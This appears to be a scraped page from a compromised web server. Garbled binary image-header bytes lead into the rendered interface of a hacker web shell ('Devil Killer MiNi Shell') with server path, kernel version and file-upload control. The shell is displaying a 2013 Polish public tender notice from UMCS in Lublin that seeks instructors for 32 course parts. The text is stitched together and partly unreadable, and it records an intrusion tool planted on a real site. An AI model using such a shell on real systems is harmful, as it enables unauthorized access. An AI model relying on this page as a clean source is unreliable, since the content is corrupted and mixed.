JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130828/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130828/347050-N-2013.html

<p class="kh_header"><b>Lublin: Prowadzenia zajęć dydaktycznych w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy</b><br>
<b>Numer ogłoszenia: 347050 - 2013; data zamieszczenia: 28.08.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uniwersytet Marii Curie-Skłodowskiej , Pl. M. Curie-Skłodowskiej 5, 20-031 Lublin, woj. lubelskie, tel. 081 5375965, faks 081 5375965.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umcs.lublin.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Prowadzenia zajęć dydaktycznych w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest prowadzenia zajęć dydaktycznych na 16 innowacyjnych specjalnościach/specjalizacjach na Wydziale Humanistycznym w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy oraz przygotowanie kompletu materiałów dydaktycznych do prowadzonych zajęć, współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Społecznego.</p>
<p><b>II.1.5) przewiduje się udzielenie zamówień uzupełniających:</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielenie zamówień uzupełniających. Wartość zamówienia uzupełniającego nie przekroczy 50% wartości zamówienia podstawowego i polegać będzie na powtórzeniu tego samego rodzaju zamówienia</li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 32.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.09.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Działalność prowadzona na potrzeby wykonania przedmiotu zamówienia nie wymaga posiadania uprawnień</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>część 1 Wykształcenie min. doktor nauk humanistycznych lub ścisłych	1. dodatkowo wykształcenie informatyczne, matematyczno-informatyczne i lub ukończone kursy i szkolenia z zakresu nowoczesnych technologii informatycznych
2. min. 100 godzin doświadczenia w prowadzeniu przedmiotów informatycznych prowadzeniu kursów i szkoleń dla dorosłych z zakresu: tworzenie stron i aplikacji internetowych, pozycjonowanie stron, struktura strony internetowej, podstawowe języki projektowania stron),
3. znajomość języka programowania Python, framework u do tworzenia aplikacji www Django;
część 2 Wykształcenie minimalne: wyższe magisterskie	1.  minimum trzyletnie doświadczenie w pracy dydaktycznej na uczelni wyższej w zakresie przedmiotów z zakresu edytorstwa komputerowego, internetowego i twórczego projektowania w mediach (m.in. elektronicznych) 
2. minimum 100 godzinne doświadczenie w prowadzeniu laboratoryjnych zajęć z zakresu szkolenia komputerowego
3. doświadczenie zawodowe w zakresie projektowania graficznego (wykonanie min. jednego, autorskiego projektu graficznego np. logotyp);
4. znajomość i doświadczenie dydaktyczne w zakresie programów: Photoshop, InDesign, Illustrator, Gimp, Excel, Access, Word, PowerPoint;
część 3 Wykształcenie min. doktor nauk humanistycznych lub ścisłych	1. min. 100 godzin doświadczenia w prowadzeniu kursów i szkoleń dla dorosłych w zakresie różnorodnego zastosowania TI (w szczególności grafika komputerowa, infografika, webdesign, tworzenie aplikacji webowych, DTP, etc.), 
2. min. 3 letnie doświadczenie zawodowe zdobyte podczas współpracy z firmami i przedsiębiorcami (w szczególności  doradztwo z zakresu wykorzystania technologii informatycznych w przedsiębiorstwie, budowanie e-wizerunku firmy, tworzenie wizualizacji firmy oraz projektowanie stron internetowych, promocja i e-promocja produktów i usług),
3. min. 3 letnia współpraca z agencjami reklamowymi, drukarniami, wydawnictwami oraz biurami projektowymi w zakresie projektowania i wykonawstwa materiałów drukowanych i na wyświetlacze z wykorzystaniem nowoczesnych technik graficznych i technologii;
4. znajomość języka programowania Python, framework u do tworzenia aplikacji www Django;
część 4 Wykształcenie min. doktor nauk humanistycznych 	1) co najmniej 2 publikacje z zakresu teorii edytorstwa (z zakresu teorii edytorskiej, metodologicznych problemów dyscypliny) oraz edycje krytyczne dzieł literackich;
2) minimum roczne doświadczenie w pracy w zespole redakcyjnym przygotowującym edycję krytyczną, praca o charakterze samodzielnym, potwierdzona publikacją publikacjami
3) realizacja zadań naukowych w zakresie edytorskim wraz z  publikacją wystąpieniem konferencyjnym potwierdzającym przeprowadzenie badań
4) minimum 3-letnie doświadczenie dydaktyczne w zakresie tekstologii i edytorstwa ;
część 5 Wykształcenie min. doktor habilitowany nauk humanistycznych	- minimum 5-letnie, doświadczenie dydaktyczne związane z prowadzeniem wykładów, konwersatoriów oraz warsztatów z zakresu reklamy, public relations, teorii komunikowania masowego, komunikacji medialnej i politycznej oraz z zajęciami i ze szkoleniami w zakresie e-lerningu oraz redakcji i edycji  tekstu 
-  przygotowanie minimum po jednym programie nauczania, sylabusie, ekspertyzie, materiałów dydaktycznych z zakresu różnych form komunikacji społecznej i marketingu
 - opublikowanie przynajmniej 5 prac z zakresu komunikacji reklamowej i marketingowej;
część 6 Wykształcenie min. doktor nauk humanistycznych w zakresie językoznawstwa (z uwzględnieniem języka serbskiego)	1. Biegła znajomość języka serbskiego poświadczona ukończeniem studiów magisterskich w zakresie języka serbskiego.
2. Minimum 5 letni staż pracy dydaktycznej  związanej z nauczaniem języka serbskiego w systemie szkolnictwa wyższego.
3. minimum 3 publikacje z zakresu językoznawstwa serbskiego i lub słowiańskiego językoznawstwa porównawczego z uwzględnieniem języka serbskiego.;
część 7 Wykształcenie: minimum wyższe	1. Udokumentowana znajomość języka nowogreckiego poprzez: posiadanie dyplomu ukończenia studiów z zakresu języka nowogreckiego lub posiadanie dyplomu ukończenia studiów na greckiej uczelni z zakresu nauk humanistycznych lub posiadanie certyfikatu znajomości języka nowogreckiego na poziomie C 2.
2. Minimum 2-letnie doświadczenie w nauczaniu języka nowogreckiego.;
część 8 Wykształcenie minimalne: wyższe magisterskie	1.	min. 30 godzin doświadczenia  w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych z przedmiotowego zakresu;
2.	autor min. 10 publikacji, artykułów naukowych z zakresu nowych technologii,
3.	wiedza z zakresu digital storytelling.;
część 9 Wykształcenie minimalne: wyższe magisterskie	1.	posiadanie wiedzy z zakresu możliwości zastosowań wybranych serwisów WEB 2.0 w reklamie i promocji kultury;
2.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć kursów dla osób dorosłych z zakresu WEB 2.0 i jego praktycznych zastosowań; 
3.	przygotowanie z metodyki nauczania uwzględniającej specyfikę rzeczywistości wirtualnej (trójwymiarowość, multimedialność, specyficzna nawigacja, mechanizmy WEB 2.0), 
4.	minimum 3 publikacje lub artykuły nt. WEB 2.0 i:lub Secend Life, i lub e-learningu, 
5.	doświadczenie w tworzeniu współtworzeniu minimum jednego portalu społecznościowego.;
część 10 Wykształcenie minimalne: wyższe magisterskie	1. minimum 5 letnie doświadczenie zawodowe w pracy w instytucjach kultury;
2. posiadanie wiedzy z zakresu typologii placówek kulturalnych oraz pełnionych przez nie funkcji, 
3. posiadanie wiedzy z zakresu kierunków polityki kulturalnej państwa i jednostek samorządowych;
część 11 Wykształcenie minimalne: wyższe magisterskie	1.	posiadanie umiejętności w zakresie zarządzania projektami finansowanymi z funduszy europejskich i wiedzy dotyczącej zasad funkcjonowania funduszy strukturalnych, 
2.	minimum 10 lat praktyki w zakresie planowania, pisania komercyjnych i niekomercyjnych projektów, 
3.	uprawnienia trenera w zakresie pozyskiwania i zarządzania funduszami strukturalnymi, 
4.	autor min. 5 publikacji z zakresu projektowania społeczno- kulturalnego.;
część 12 Wykształcenie minimalne: wyższe magisterskie 	1. praca w charakterze wykładowcy akademickiego  min. 2 lata (w tym zajęcia z: marketingu, zarządzania marką, marki miasta miejsca regionu;
2. minimum 50 godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń z zakresu zarządzania marką dla osób dorosłych;
3. autor min. 15 artykułów i lub publikacji, i lub wystąpień konferencyjnych z zakresu PR marketingu marki (w tym min. 2 międzynarodowych);
4. wiedza z zakresu marketingu kultury poparta doświadczeniem zawodowym;
5. doświadczenie we współpracy z instytucjami kultury w zakresie marketingu i PR;
część 13 Wykształcenie minimalne: wyższe magisterskie w zakresie psychologii społecznej	
1.	min. 5 lat doświadczenia zawodowego jako trener i coach, 
2.	min. 15 lat doświadczenia w prowadzeniu zajęć dydaktycznych na uczelni wyższej, 
3.	wiedza z zakresu komunikacji społecznej i interpersonalnej, autoprezentacji, wystąpień publicznych poparta doświadczeniem zawodowym m.in. we współpracy z mediami.;
część 14 Wykształcenie minimalne:
doktor z zakresu nauk humanistycznych	1.	minimum 5 lat doświadczenia zawodowego na uczelni wyższej; 
2.	minimum 5 lat doświadczenia w zakresie przygotowywanie i prowadzenia kursów akademickich w środowisku elektronicznym (cały wykład w formie on-line), 
3.	znajomość tematyki związanej z fenomenologiczną analizą elementów kultury i sztuki współczesnej, poparte publikacją minimum 1 książki i lub 5 artykułów naukowych.;
część 15 Wykształcenie minimalne: wyższe magisterskie	1.	minimum 5-letnie doświadczenie w pracy w radio,
2.	 autor min. 10 audycji radiowych, 
3.	minimum 30-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych.;
część 16 Wykształcenie minimalne: doktora sztuki filmowej	1.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych, 
2.	reżyser min. 10 filmów dokumentalnych lub programów telewizyjnych lub spektakli teatralnych.;
część 17 Wykształcenie minimalne: doktora sztuki filmowej	1.	 min. 10-letni staż pracy jako operator, 
2.	autor zdjęć do min. 10 filmów, 
3.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych;
część 18 Wykształcenie minimalne: wyższe magisterskie	- przeprowadzenie min. 150 godzin szkoleń z zakresu autoprezentacji, negocjacji  i marketingu w ciągu ostatnich 3 lat,
- przygotowanie min. jednego programu nauczania lub i ekspertyzy lub i opracowania lub i sylabusa z zakresu wystąpień publicznych,
- min. 5-letnie doświadczenie w prowadzeniu działalności biznesowej (w obszarze negocjacji, marketingu, sprzedaży),
-udział w krajowych i międzynarodowych konferencjach biznesowych (min. 12 w ciągu roku) oraz przynależność (przynajmniej do jednej)  organizacji biznesowej
- doświadczenie trenerskie (trener biznesu) potwierdzone certyfikatem.;
część 19 Wykształcenie minimalne: wyższe magisterskie	1.	min. 150 godzin  doświadczenie dydaktyczne związane z prowadzeniem w szkołach wyższych różnego typu wykładów  i seminariów nt.  rozwoju ścieżki kariery i lub komunikacji oraz negocjacji, przywództwa, marketingu
2.	minimum 10-letnie doświadczenie w prowadzeniu doradztwa biznesowego dla firm: negocjacje, marketing, budowanie marki
3.	przygotowanie minimum  jednego programu nauczania i lub sylabusa i lub materiałów dydaktycznych z zakresu różnych form komunikacji  w biznesie
4.	opublikowanie przynajmniej 15 artykułów nt. rozwoju osobistego i lub obsługi klienta i lub marketingu w prasie fachowej  dla managerów;
część 20 Wykształcenie minimalne: wyższe magisterskie	1. Bogate (minimum 100 godzin lub minimum 5 lat) doświadczenie w zakresie szkoleń z zakresu komunikacji indywidualnej i społecznej  ( p. w. praktyczne potrzeby komunikacji w budowaniu ścieżki kariery)
2. Doświadczenie w przygotowywaniu programów szkoleń, sylabusów, materiałów dydaktycznych z zakresu przedmiotu nauczania (min. 1 z każdej kategorii)
3. Autorstwo artykułów związanych z przedmiotem nauczania (min. 3);
część 21 Wykształcenie minimalne: wyższe magisterskie -kierunek historia specjalność archiwalna/archiwistyczna
udokumentowane wykształcenie, co najmniej podyplomowe w zakresie informatyki	1. praca w charakterze wykładowcy akademickiego  min. 2 lata,
2. minimum 100 godzin doświadczenia jako trener w zakresie archiwistyki, zarządzania dokumentacją lub record s management.;
część 22 Wykształcenie minimalne: wyższe magisterskie	1. Organizator turystyki (min. pięcioletnie doświadczenie w organizacji imprez turystycznych krajowych i zagranicznych) 
2. Pilot wycieczek (min. pięcioletnie doświadczenie w obsłudze imprez turystycznych krajowych i zagranicznych) 
3.  Nauczyciel z zakresu przedmiotu (przedmiot wymagana liczba przeprowadzenia zajęć)
- Obsługa ruchu turystycznego min. 300 godz.
- Tworzenie produktu turystycznego min. 400 godz.
- Marketing turystyki min. 200 godz.
4. Doświadczenie w prowadzeniu zajęć (trener ekspert) z zakresu obsługi ruchu turystycznego i marketingu w turystyce z pracownikami branży turystycznej.;
część 23 Wykształcenie minimalne: wyższe magisterskie	1.  praktyk zatrudniony w organizacji turystycznej
2. doświadczenie w zakresie koordynowania współpracy pomiędzy przedstawicielami samorządów w regionie lubelskim
3. doświadczenie w zakresie przygotowywania programów rozwoju produktów turystycznych
4. doświadczenie w zakresie realizacji zadań związanych z  reprezentowaniem regionu lubelskiego na międzynarodowych i krajowych targach turystycznych
5. ukończone szkolenia w zakresie komunikacji medialnej , marketingu i kreowania marki produktów turystycznych
6. ukończone szkolenie w zakresie możliwości i sposobów pozyskiwania środków na rzecz rozwoju turystyki
7. ukończony kurs pilotów wycieczek;
część 24 - wykształcenie wyższe z translatoryki lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielska konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1. minimum trzyletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, ze szczególnym uwzględnieniem dydaktyki translacji
2. minimum czteroletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego, w szczególności kabinowego/konferencyjnego w zakresie języków polski--angielski;
część 25 - wyższe z translatoryki lub filologii niemieckiej
- w przypadku ukończenia studiów na kierunku filologia niemiecka konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia kursu (min. 120h) z tłumaczenia ustnego	1. minimum trzyletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, ze szczególnym uwzględnieniem dydaktyki translacji
2. minimum czteroletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego, w szczególności kabinowego/konferencyjnego w zakresie języków polski--niemiecki;
część 26 - wyższe z translatoryki lub inne neofilologiczne	- minimum trzyletnie doświadczenie w zakresie nauczania retoryki praktycznej języka polskiego w ramach  kształcenia uniwersyteckiego  
- minimum trzyletnie doświadczenie praktyki gospodarczej jako tłumacz (nie w ramach umowy o pracę, tzw. in-house), 
- udział w minimum jednym projekcie biznesowym lub szkoleniowym dla studentów kierunków lub specjalizacji translatorskich (ustnych lub pisemnych, koniecznie w ramach programów akademickich kształcenia tłumaczy, nie praktycznej nauki języka obcego) lub minimum rok pracy w charakterze wykładowcy uczelni wyższej na kierunku lub specjalizacji translatorskiej (ustnej lub pisemnej, koniecznie w ramach programu akademickiego kształcenia tłumaczy, nie praktycznej nauki języka obcego);
część 27 - wyższe z translatoryki lub filologii angielskiej
- poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej)	1. minimum pięcioletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego polski--angielski
2. doświadczenie w zakresie akademickiej lub pozaakademickiej dydaktyki translacji;
część 28 -wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1. minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji 
2. minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL--ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. prawo (dowolny dział, także teoria prawa), 
2. biznes i funkcjonowanie przedsiębiorstw i gospodarka (makro i mikroekonomia), 
3. Prawodawstwo unijne (UE);
część 29 -wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1. minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2. minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL--ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. medycyna (dowolny dział) lub profilaktyka medyczna lub technika medyczna;
część 30 - wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1. minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2. minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>ANG.) w zakresie przynajmniej dwóch z określonych poniżej dziedzin specjalistycznych: 
1. energetyka 
2. ekologia (zrównoważone wykorzystanie zasobów, zrównoważony rozwój cywilizacji, zrównoważone rolnictwo, itp.);
część 31 - wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej
- w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego		1. minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2. minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL--NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. Debaty polityczne i społeczne (w tym debaty na poziomie UE i lub organizacji międzynarodowych)
2. Bankowość (w tym polityka Europejskiego Banku Centralnego i Narodowych Banków Centralnych);
część 32 Wykształcenie minimalne: wyższe magisterskie
Filologia Angielska bądź Germańska lub Lingwistyka Stosowana		1. minimum dwuletnie praktyczne doświadczenia jako tłumacz symultaniczny
2. wiedza merytoryczna do przeprowadzenia zajęć w j. niemieckim z zakresu kultury, literatury, muzyki</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
